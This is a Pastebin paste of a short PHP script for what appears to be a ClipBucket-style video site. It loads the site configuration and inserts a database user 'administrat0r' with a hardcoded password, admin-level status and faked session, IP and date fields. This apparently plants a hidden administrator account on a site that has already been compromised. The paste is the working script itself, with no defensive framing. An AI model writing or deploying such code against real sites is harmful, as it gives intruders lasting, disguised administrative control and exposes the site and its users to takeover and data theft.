SHARE
TWEET

Untitled

a guest Oct 4th, 2017 74 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. $username = 'administrat0r';
  4. $password = 'tooeasy';
  5.  
  6. if (file_exists('includes/config.inc.php')) include("includes/config.inc.php");
  7. elseif (file_exists('../includes/config.inc.php')) include("../includes/config.inc.php");
  8. else die(getcwd());
  9.  
  10. $pass = pass_code($password);
  11.  
  12. $values = array(
  13. "category" => "2",
  14. "featured_video" => "",
  15. "username" => $username,
  16. "user_session_key" => "777750fea4d3bd585bf47dc1873619fc",
  17. "user_session_code" => "10192",
  18. "password" => $pass,
  19. "email" => "webmaster@website",
  20. "usr_status" => "Ok",
  21. "msg_notify" => "yes",
  22. "avatar" => "0",
  23. "avatar_url" => "",
  24. "sex" => "male",
  25. "dob" => "1989-10-14",
  26. "country" => "PK",
  27. "level" => "1",
  28. "avcode" => "08c5a7bd48",
  29. "doj" => "0000-00-00 00:00:00",
  30. "last_logged" => "2011-02-10 10:22:41",
  31. "num_visits" => "86",
  32. "session" => "pub6e7fq5oj76vakuov2j03hm1",
  33. "ip" => "127.0.0.1",
  34. "signup_ip" => "",
  35. "time_zone" => "0",
  36. "featured" => "No",
  37. "featured_date" => "2009-12-03 15:14:20",
  38. "profile_hits" => "0",
  39. "total_watched" => "0",
  40. "total_videos" => "0",
  41. "total_comments" => "0",
  42. "total_photos" => "0",
  43. "total_collections" => "0",
  44. "comments_count" => "0",
  45. "last_commented" => "2011-02-07 12:56:46",
  46. "ban_status" => "no",
  47. "upload" => "0",
  48. "subscribers" => "0",
  49. "total_subscriptions" => "1",
  50. "background" => "0",
  51. "background_color" => "#ed0000",
  52. "background_url" => "",
  53. "background_repeat" => "no-repeat",
  54. "background_attachement" => "yes",
  55. "total_groups" => "3",
  56. "last_active" => "2011-02-14 08:43:25",
  57. "banned_users" => "test",
  58. "welcome_email_sent" => "yes",
  59. "total_downloads" => "0",
  60. );
  61.  
  62. $id = $db->insert(tbl('users'), array_keys($values), array_values($values));
  63. var_dump($id);
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top